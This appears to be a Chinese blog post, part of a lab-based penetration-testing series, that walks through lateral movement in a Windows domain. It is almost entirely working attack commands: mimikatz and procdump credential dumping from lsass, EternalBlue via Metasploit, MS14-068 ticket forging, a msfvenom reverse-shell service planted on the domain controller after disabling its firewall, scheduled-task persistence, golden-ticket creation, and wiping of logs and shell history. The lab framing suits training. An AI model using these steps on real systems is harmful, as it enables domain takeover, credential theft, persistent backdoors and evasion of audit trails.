内网渗透 day22-横向移动

横向移动

环境:

win2008: ZJW2.com 192.168.227.140

win7: 192.168.227.141

kali: 192.168.227.129

概念:

城内横向移动技术是在复杂的内网攻击中被广泛使用的一种技术, 尤其是在高级持续威胁(Advanced Persistent Threate APT)中。攻击者会利用该技术,以被攻陷的系统为跳板,访问其他域内主机.扩大 资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要 资产)。

通过此类攻击手段,攻击者最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统 的基础设施和与业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击, 从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失效。

流程:

前提:获得域用户的会话

1. 信息收集

查询域的数量:net view /domain

查看主机数量:net view | net view /domain:域名

查看是否在域中:ipconfig /all

解析域控ip:nslookup 域名ping 域名

查看域用户组:net group /domain

查看域内时间:net time /domain

查询域控的账户信息:net user /domain

查看域控:net group "domain controllers" /domain

查看域内主机:net group "domain computers" /domain

查看域用户:net group "domain users" /domain

查看用户的sid:whoami /user

管理员sid:结尾是500,结尾1000+是普通用户,前面的那串是域id

扫描域用户主机端口开放 nmap IP -sSV -F -T4

基于PING命令的ICMP协议主机存活探测:

for /L %i in (1,1,254) do @ping -w 1 -n 1 202.101.1.%i | findstr "TTL"

systeminfo | find "KB" 查找是否打上对应的补丁信息

whoami /user   查看sid

获得权限后

存储lsass.exe中的密码:procdump -acceptela -ma lsass.exe lsass.dmp

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit 获取在这台计算机存储的域用户帐号密码

mimikatz.exe "privilege::debug" "sekurlsa::msv" exit 获取ntlm和lm

msf中可以使用load kiwi载入kiwi模块调用creds_all命令获取帐号密码

2. 漏洞利用{永恒之蓝,ms18_8120}

msf中search 漏洞编号

use 使用对应的漏洞

show options 显示参数信息

设置参数信息

run | exploit 执行

3. 提权

getsystem 万一成功了呢

getuid   查看是否提权成功

ps 查看进程准备做会话迁移

migrate pid  会话迁移

getpid  查看是否迁移成功

wps31

steal_token令牌盗用+查看sid

wps32

rev2self 返回身份

4. 向域控提权{MS14-068}

(1) 利用前面收集的域用户、域名、域用户SID、域控IP、域用户密码进行MS14-068漏洞的利用获取更改过的PAC的TGT

ms14-068 -u 域用户名@域名 -s 域用户sid -d 域控ip -p 域用户密码

wps33

可以看到创建了.ccache文件

wps34

(2) 利用mimikatz清除票据

kerberos::purge 清除票据   

wps35

或者在cmd直接使用klist purge

wps36

(3) 利用mimikatz注入票据

kerberos::ptc TGT_pipibo@ZJW2.com.ccache 

wps37

(4) 成功访问域控的c盘资源

这边不能跟ip,需要跟域控的主机名

wps38

5. *向域控植入后门

(1) 生成服务后门木马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.227.129 lport=4444 -f exe-service -o shell.exe

wps39

(2) 将木马上传到域用户(win7)

wps40

(3) 将服务后门木马从win7上传到域控

前提是有访问域控的权限,做成功ms14-068或者黄金票据

copy 准备好的木马 \\域控主机名\c$

wps41

(4) 创建服务

给域控创建服务

注意:binpash=后面需要跟上个空格

① 创建关闭防火墙的服务

sc \\zjw-server08 create cf binpath= "netsh advfirewall set allprofiles state off"

wps42

② 创建运行后门木马的服务

sc \\zjw-server08 create shell binpath= "c:\\shell.exe"

wps43

(5) 运行服务

sc \\zjw-server08 start 创建服务的名称

① 运行关闭防火墙的服务

sc \\zjw-server08 start cf

wps44

虽然这边报错了,但是还是给你关闭了防火墙

wps45

② 运行后门木马的服务

wps46

成功反弹会话(这边需要先监听)

wps47

(6) 计划任务

除了运用服务运行还能用计划任务运行

schtasks与at命令的区别:更方便创建,功能更多,并且可以主动运行计划任务。

① 创建计划任务

schtasks /create /s zjw-server08 /tn shell /tr c:\\shell.exe /sc once /st 13:00 /ru system /f

wps48

② 运行计划任务

schtasks /run /tn shell /s zjw-server08

wps49

schtasks /create 创建任务

/tn :任务名称

/tr :任务运行的路径

/sc :  指定计划频率

/st :运行的时间

/ru :运行的权限

/s :远程的主机ip或者主机名

   /run :运行

6. 获取域控交互权限

在执行服务或者计划任务后就能获得一个拥有权限的域控会话

wps50

use 3 进入会话,可以看到已经拥有权限了

wps51

7. 提权

一般计划任务和服务运行的木马都会有管理员权限

如果没有则使用提权步骤bypassusc或者ms18-8120漏洞等等

8. 信息搜集{账号密码信息、sid。。。}

伪造黄金凭据需要具备下面条件:

krbtgt用户的hash(就意味着你已经有域控制器权限了)

域名称

域的SID值

要伪造的用户名

(1) hashdump获得krbtgt的ntlm hash

wps52

(2) 令牌盗用后获得域名和域sid

wps53

9. 制作黄金票据 | 植入后门

cmd下制作黄金票据在day21中有,这用meterpreter制作黄金票据

(1) 载入kiwi模块

wps54

(2) 生成黄金票据

golden_ticket_create -u Administrator -d 域名 -s S-1-5-21-792999653-2678420337-3976732325 -k krbtgt-ntlm-hash -t gold.tck

wps55

票据会生成在你kali上

(3) 切换到域用户win7上准备测试

wps56

(4) 清空票据

kerberos_ticket_purge

wps57

(5) 注入黄金票据

wps58

(6) 成功访问域控资源

wps59

10. 痕迹清除

meterpreter输入clearev清除痕迹

wps60

linux下

清理命令记录:

(1)仅清理当前用户: history -c

(2)使系统不再保存命令记录:vi /etc/profile,找到HISTSIZE这个值,修改为0

(3)删除记录

删除登录失败记录:echo > /var/log/btmp

删除登录成功记录:echo > /var/log/wtmp (此时执行last命令就会发现没有记录)

删除日志记录:echo > /var/log/secure

posted @ 2020-12-04 20:59  彩虹猛犸  阅读(518)  评论(0编辑  收藏  举报